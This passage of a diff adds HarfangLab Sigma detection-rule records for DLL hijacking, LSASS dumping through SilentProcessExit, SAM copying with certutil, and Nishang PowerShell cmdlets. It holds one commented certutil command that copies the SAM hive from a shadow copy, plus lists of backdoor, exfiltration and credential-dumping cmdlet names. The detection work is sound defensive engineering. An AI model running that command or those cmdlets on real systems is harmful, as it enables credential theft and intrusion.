https://www.herdprotect.com/winutils.dll-458cf7d1960de61713a37a78ea89a12d1c119088.aspx\n        ImageLoaded|endswith: '\\winutils.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files\\Palo Alto Networks\\'\n            - '?:\\Program Files (x86)\\Palo Alto Networks\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files\\Palo Alto Networks\\'\n            - '?:\\Program Files (x86)\\Palo Alto Networks\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature|contains: 'Palo Alto Networks'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c82a4b4b-151b-46f2-9434-1433fd02d1e7",
+  "rule_name": "DLL Hijacking via cydump.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via cydump.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate signed executable to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2023-09-01",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c90ae8a5-2c24-4391-8726-bca61e75fc08",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076081Z",
+  "creation_date": "2026-03-23T11:45:34.076083Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076088Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html",
+    "https://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/",
+    "https://www.secureworks.com/research/shadowpad-malware-analysis",
+    "https://www.contextis.com/en/blog/dll-search-order-hijacking",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_oleview.yml",
+  "content": "title: DLL Hijacking via OLEVIEW.exe\nid: c90ae8a5-2c24-4391-8726-bca61e75fc08\ndescription: |\n    Detects potential Windows DLL Hijacking via OLEVIEW.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html\n    - https://www.hexacorn.com/blog/2016/03/10/beyond-good-ol-run-key-part-36/\n    - https://www.secureworks.com/research/shadowpad-malware-analysis\n    - https://www.contextis.com/en/blog/dll-search-order-hijacking\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'OLEVIEW.EXE'\n        ProcessSignature: 'Microsoft Corporation'\n        ImageLoaded|endswith:\n            - '\\aclui.dll'\n            - '\\iviewers.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\arm64\\'\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x64\\'\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x86\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\arm64\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x64\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x86\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\arm64\\'\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x64\\'\n            - '?:\\Program Files (x86)\\Windows Kits\\10\\bin\\\\*\\x86\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\arm64\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x64\\'\n            - '?:\\Program Files\\Windows Kits\\10\\bin\\\\*\\x86\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Corporation'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c90ae8a5-2c24-4391-8726-bca61e75fc08",
+  "rule_name": "DLL Hijacking via OLEVIEW.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via OLEVIEW.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c92bee55-bc7b-4337-9e4c-085336a03e25",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.086612Z",
+  "creation_date": "2026-03-23T11:45:34.086614Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.086618Z",
+  "rule_level": "critical",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/deepinstinct/LsassSilentProcessExit",
+    "https://attack.mitre.org/techniques/T1055/"
+  ],
+  "name": "t1003_001_lsass_silent_process_exit_remote_thread.yml",
+  "content": "title: Suspicious SilentProcessExit Remote Thread Started on LSASS\nid: c92bee55-bc7b-4337-9e4c-085336a03e25\ndescription: |\n    Detects the creation of a remote thread executing the RtlReportSilentProcessExit function on LSASS.\n    Attackers can use the SilentProcessExit registry key to trigger the creation of a process dump through WerFault.\n    This technique can be used to silently dump LSASS' memory for credential access and privilege escalation.\n    It is recommended to analyze the process reponsible for accessing LSASS to look for malicious content or actions and to start memory forensic to determine compromised credentials.\nreferences:\n    - https://github.com/deepinstinct/LsassSilentProcessExit\n    - https://attack.mitre.org/techniques/T1055/\ndate: 2023/02/06\nmodified: 2025/02/03\nauthor: HarfangLab\ntags:\n    - attack.privilege_escalation\n    - attack.t1055\n    - attack.credential_access\n    - attack.t1003.001\n    - attack.persistence\n    - attack.t1546.012\n    - classification.Windows.Source.Thread\n    - classification.Windows.Behavior.LSASSAccess\n    - classification.Windows.Behavior.PrivilegeEscalation\n    - classification.Windows.Behavior.CredentialAccess\nlogsource:\n    product: windows\n    category: remote_thread\ndetection:\n    selection:\n        TargetImage|endswith: '\\lsass.exe'\n        StartFunction|contains: 'RtlReportSilentProcessExit'\n\n    exclusion_werfault:\n        ProcessImage:\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\syswow64\\WerFault.exe'\n        ProcessParentCommandLine: '?:\\Windows\\System32\\svchost.exe -k WerSvcGroup'\n\n    condition: selection and not 1 of exclusion_*\nlevel: critical\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c92bee55-bc7b-4337-9e4c-085336a03e25",
+  "rule_name": "Suspicious SilentProcessExit Remote Thread Started on LSASS",
+  "rule_description": "Detects the creation of a remote thread executing the RtlReportSilentProcessExit function on LSASS.\nAttackers can use the SilentProcessExit registry key to trigger the creation of a process dump through WerFault.\nThis technique can be used to silently dump LSASS' memory for credential access and privilege escalation.\nIt is recommended to analyze the process reponsible for accessing LSASS to look for malicious content or actions and to start memory forensic to determine compromised credentials.\n",
+  "rule_creation_date": "2023-02-06",
+  "rule_modified_date": "2025-02-03",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.001",
+    "attack.t1055",
+    "attack.t1546.012"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c93e3348-ae77-418f-abad-6f51f9171f97",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.078007Z",
+  "creation_date": "2026-03-23T11:45:34.078009Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.078014Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1003/002/",
+    "https://attack.mitre.org/techniques/T1006/"
+  ],
+  "name": "t1003_002_certutil_sam_vss.yml",
+  "content": "title: SAM Dumped from a Volume Shadow Copy via Certutil\nid: c93e3348-ae77-418f-abad-6f51f9171f97\ndescription: |\n    Detects the usage of certutil to access SAM (Security Account Manager) registry hive via a Volume Shadow Copy.\n    By abusing certutil to copy the SAM database, an attacker could gain access to local accounts hashes.\n    It is recommended to take immediate action to isolate the machine and identify if the copied file has been exfiltrated.\nreferences:\n    - https://attack.mitre.org/techniques/T1003/002/\n    - https://attack.mitre.org/techniques/T1006/\ndate: 2021/12/13\nmodified: 2025/01/30\nauthor: HarfangLab\ntags:\n    - attack.credential_access\n    - attack.t1003.002\n    - attack.defense_evasion\n    - attack.t1006\n    - attack.s0160\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Certutil\n    - classification.Windows.Behavior.CredentialAccess\n    - classification.Windows.Behavior.VolumeShadowCopy\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\certutil.exe'\n        # Renamed binaries\n        - OriginalFileName: 'CertUtil.exe'\n    selection_commandline:\n        # certutil.exe -f -v -encodehex \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy1\\Windows\\System32\\config\\SAM C:\\Windows\\TEMP\\dump\n        CommandLine|contains|all:\n            - '\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy'\n            - 'Windows\\System32\\config\\SAM'\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c93e3348-ae77-418f-abad-6f51f9171f97",
+  "rule_name": "SAM Dumped from a Volume Shadow Copy via Certutil",
+  "rule_description": "Detects the usage of certutil to access SAM (Security Account Manager) registry hive via a Volume Shadow Copy.\nBy abusing certutil to copy the SAM database, an attacker could gain access to local accounts hashes.\nIt is recommended to take immediate action to isolate the machine and identify if the copied file has been exfiltrated.\n",
+  "rule_creation_date": "2021-12-13",
+  "rule_modified_date": "2025-01-30",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.credential_access",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1003.002",
+    "attack.t1006"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c9719cbf-a239-494a-8715-09a29b52eac6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092636Z",
+  "creation_date": "2026-03-23T11:45:34.092638Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092642Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/samratashok/nishang",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_nishang_cmd.yml",
+  "content": "title: Malicious PowerShell Nishang Commandlets in Command-line\nid: c9719cbf-a239-494a-8715-09a29b52eac6\ndescription: |\n    Detects various malicious commandlets in PowerShell's command-line, generally associated with the Nishang framework.\n    Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming.\n    It is recommended to investigate actions performed by attackers using the Nishang framework and to isolate infected systems.\nreferences:\n    - https://github.com/samratashok/nishang\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/06/22\nmodified: 2025/02/20\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.command_and_control\n    - attack.t1095\n    - attack.collection\n    - attack.t1115\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.Nishang\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_powershell:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_cmdlet:\n        CommandLine|contains:\n            # Add-RegBackdoor, from Nishang\n            - 'Add-RegBackdoor'\n            - 'QQBkAGQALQBSAGUAZwBCAGEAYwBrAGQAbwBvAHIA'\n            - 'EAZABkAC0AUgBlAGcAQgBhAGMAawBkAG8AbwByA'\n            - 'BAGQAZAAtAFIAZQBnAEIAYQBjAGsAZABvAG8Acg'\n            # Add-ScrnSaveBackdoor, from Nishang\n            - 'Add-ScrnSaveBackdoor'\n            - 'QQBkAGQALQBTAGMAcgBuAFMAYQB2AGUAQgBhAGMAawBkAG8AbwByA'\n            - 'EAZABkAC0AUwBjAHIAbgBTAGEAdgBlAEIAYQBjAGsAZABvAG8Acg'\n            - 'BAGQAZAAtAFMAYwByAG4AUwBhAHYAZQBCAGEAYwBrAGQAbwBvAHIA'\n            # Gupt-Backdoor, from Nishang\n            - 'Gupt-Backdoor'\n            - 'RwB1AHAAdAAtAEIAYQBjAGsAZABvAG8Acg'\n            - 'cAdQBwAHQALQBCAGEAYwBrAGQAbwBvAHIA'\n            - 'HAHUAcAB0AC0AQgBhAGMAawBkAG8AbwByA'\n            # Invoke-ADSBackdoor, from Nishang\n            - 'Invoke-ADSBackdoor'\n            - 'SQBuAHYAbwBrAGUALQBBAEQAUwBCAGEAYwBrAGQAbwBvAHIA'\n            - 'kAbgB2AG8AawBlAC0AQQBEAFMAQgBhAGMAawBkAG8AbwByA'\n            - 'JAG4AdgBvAGsAZQAtAEEARABTAEIAYQBjAGsAZABvAG8Acg'\n            # Enabled-DuplicateToken, from Nishang\n            - 'Enabled-DuplicateToken'\n            - 'RQBuAGEAYgBsAGUAZAAtAEQAdQBwAGwAaQBjAGEAdABlAFQAbwBrAGUAbg'\n            - 'UAbgBhAGIAbABlAGQALQBEAHUAcABsAGkAYwBhAHQAZQBUAG8AawBlAG4A'\n            - 'FAG4AYQBiAGwAZQBkAC0ARAB1AHAAbABpAGMAYQB0AGUAVABvAGsAZQBuA'\n            # Enabled-PsUaCme, from Nishang\n            - 'Invoke-PsUaCme'\n            - 'SQBuAHYAbwBrAGUALQBQAHMAVQBhAEMAbQBlA'\n            - 'kAbgB2AG8AawBlAC0AUABzAFUAYQBDAG0AZQ'\n            - 'JAG4AdgBvAGsAZQAtAFAAcwBVAGEAQwBtAGUA'\n            # Remove-Update, from Nishang\n            - 'Remove-Update'\n            - 'UgBlAG0AbwB2AGUALQBVAHAAZABhAHQAZQ'\n            - 'IAZQBtAG8AdgBlAC0AVQBwAGQAYQB0AGUA'\n            - 'SAGUAbQBvAHYAZQAtAFUAcABkAGEAdABlA'\n            # Get-LSASecret, from Nishang\n            - 'Get-LSASecret'\n            - 'RwBlAHQALQBMAFMAQQBTAGUAYwByAGUAdA'\n            - 'cAZQB0AC0ATABTAEEAUwBlAGMAcgBlAHQA'\n            - 'HAGUAdAAtAEwAUwBBAFMAZQBjAHIAZQB0A'\n            # Get-PassHashes, from Nishang\n            - 'Get-PassHashes'\n            - 'RwBlAHQALQBQAGEAcwBzAEgAYQBzAGgAZQBzA'\n            - 'cAZQB0AC0AUABhAHMAcwBIAGEAcwBoAGUAcw'\n            - 'HAGUAdAAtAFAAYQBzAHMASABhAHMAaABlAHMA'\n            # Show-TargetScreen, from Nishang\n            - 'Show-TargetScreen'\n            - 'UwBoAG8AdwAtAFQAYQByAGcAZQB0AFMAYwByAGUAZQBuA'\n            - 'MAaABvAHcALQBUAGEAcgBnAGUAdABTAGMAcgBlAGUAbg'\n            - 'TAGgAbwB3AC0AVABhAHIAZwBlAHQAUwBjAHIAZQBlAG4A'\n            # Port-Scan, from Nishang\n            - 'Port-Scan'\n            - 'UABvAHIAdAAtAFMAYwBhAG4A'\n            - 'AAbwByAHQALQBTAGMAYQBuA'\n            - 'QAG8AcgB0AC0AUwBjAGEAbg'\n            # Invoke-PoshRatHttp, from Nishang\n            - 'Invoke-PoshRatHttp'\n            - 'SQBuAHYAbwBrAGUALQBQAG8AcwBoAFIAYQB0AEgAdAB0AHAA'\n            - 'kAbgB2AG8AawBlAC0AUABvAHMAaABSAGEAdABIAHQAdABwA'\n            - 'JAG4AdgBvAGsAZQAtAFAAbwBzAGgAUgBhAHQASAB0AHQAcA'\n            # Invoke-PoshRatHttps, from Nishang\n            - 'Invoke-PoshRatHttps'\n            - 'SQBuAHYAbwBrAGUALQBQAG8AcwBoAFIAYQB0AEgAdAB0AHAAcw'\n            - 'kAbgB2AG8AawBlAC0AUABvAHMAaABSAGEAdABIAHQAdABwAHMA'\n            - 'JAG4AdgBvAGsAZQAtAFAAbwBzAGgAUgBhAHQASAB0AHQAcABzA'\n            # Invoke-PowerShellTCP, from Nishang\n            - 'Invoke-PowerShellTCP'\n            - 'SQBuAHYAbwBrAGUALQBQAG8AdwBlAHIAUwBoAGUAbABsAFQAQwBQA'\n            - 'kAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABUAEMAUA'\n            - 'JAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVABDAFAA'\n            # Invoke-PowerShellWMI, from Nishang\n            - 'Invoke-PowerShellWMI'\n            - 'SQBuAHYAbwBrAGUALQBQAG8AdwBlAHIAUwBoAGUAbABsAFcATQBJA'\n            - 'kAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABXAE0ASQ'\n            - 'JAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwAVwBNAEkA'\n            # Add-Exfiltration, from Nishang\n            - 'Add-Exfiltration'\n            - 'QQBkAGQALQBFAHgAZgBpAGwAdAByAGEAdABpAG8Abg'\n            - 'EAZABkAC0ARQB4AGYAaQBsAHQAcgBhAHQAaQBvAG4A'\n            - 'BAGQAZAAtAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuA'\n            # Add-Persistence, from Nishang\n            - 'Add-Persistence'\n            - 'QQBkAGQALQBQAGUAcgBzAGkAcwB0AGUAbgBjAGUA'\n            - 'EAZABkAC0AUABlAHIAcwBpAHMAdABlAG4AYwBlA'\n            - 'BAGQAZAAtAFAAZQByAHMAaQBzAHQAZQBuAGMAZQ'\n            # Do-Exfiltration, from Nishang\n            - 'Do-Exfiltration'\n            - 'RABvAC0ARQB4AGYAaQBsAHQAcgBhAHQAaQBvAG4A'\n            - 'QAbwAtAEUAeABmAGkAbAB0AHIAYQB0AGkAbwBuA'\n            - 'EAG8ALQBFAHgAZgBpAGwAdAByAGEAdABpAG8Abg'\n            # Start-CaptureServer, from Nishang\n            - 'Start-CaptureServer'\n            - 'UwB0AGEAcgB0AC0AQwBhAHAAdAB1AHIAZQBTAGUAcgB2AGUAcg'\n            - 'MAdABhAHIAdAAtAEMAYQBwAHQAdQByAGUAUwBlAHIAdgBlAHIA'\n            - 'TAHQAYQByAHQALQBDAGEAcAB0AHUAcgBlAFMAZQByAHYAZQByA'\n            # Get-ChromeDump, from Nishang\n            - 'Get-ChromeDump'\n            - 'RwBlAHQALQBDAGgAcgBvAG0AZQBEAHUAbQBwA'\n            - 'cAZQB0AC0AQwBoAHIAbwBtAGUARAB1AG0AcA'\n            - 'HAGUAdAAtAEMAaAByAG8AbQBlAEQAdQBtAHAA'\n            # Get-ClipboardContents, from Nishang\n            - 'Get-ClipboardContents'\n            - 'RwBlAHQALQBDAGwAaQBwAGIAbwBhAHIAZABDAG8AbgB0AGUAbgB0AHMA'\n            - 'cAZQB0AC0AQwBsAGkAcABiAG8AYQByAGQAQwBvAG4AdABlAG4AdABzA'\n            - 'HAGUAdAAtAEMAbABpAHAAYgBvAGEAcgBkAEMAbwBuAHQAZQBuAHQAcw'\n            # Invoke-Mimikittenz, from Nishang\n            - 'Invoke-Mimikittenz'\n            - 'SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAaQB0AHQAZQBuAHoA'\n            - 'kAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGkAdAB0AGUAbgB6A'\n            - 'JAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBpAHQAdABlAG4Aeg'\n            # Invoke-PowerShellIcmp, from Nishang\n            - 'Invoke-PowerShellIcmp'\n            - 'SQBuAHYAbwBrAGUALQBQAG8AdwBlAHIAUwBoAGUAbABsAEkAYwBtAHAA'\n            - 'kAbgB2AG8AawBlAC0AUABvAHcAZQByAFMAaABlAGwAbABJAGMAbQBwA'\n            - 'JAG4AdgBvAGsAZQAtAFAAbwB3AGUAcgBTAGgAZQBsAGwASQBjAG0AcA'\n\n    condition: all of selection_*\nlevel: high\nconfidence: strong",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c9719cbf-a239-494a-8715-09a29b52eac6",
+  "rule_name": "Malicious PowerShell Nishang Commandlets in Command-line",
+  "rule_description": "Detects various malicious commandlets in PowerShell's command-line, generally associated with the Nishang framework.\nNishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming.\nIt is recommended to investigate actions performed by attackers using the Nishang framework and to isolate infected systems.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-02-20",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1095",
+    "attack.t1115"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c97d7951-8f91-4019-99e7-40ca39857b16",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.099072Z",
+  "creation_date": "2026-03-23T11:45:34.099074Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.099078Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992",
+    "https://www.youtube.com/watch?v=MZ8fgAN2As8",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_svchost.yml",
+  "content": "title: DLL Hijacking via svchost.exe\nid: c97d7951-8f91-4019-99e7-40ca39857b16\ndescription: |\n    Detects potential Windows DLL Hijacking via svchost.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992\n    - https://www.youtube.com/watch?v=MZ8fgAN2As8\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'svchost.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\wlbsctrl.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature:\n            - 'Microsoft Windows'\n            - 'Microsoft Windows Publisher'\n            - 'Microsoft Corporation'\n    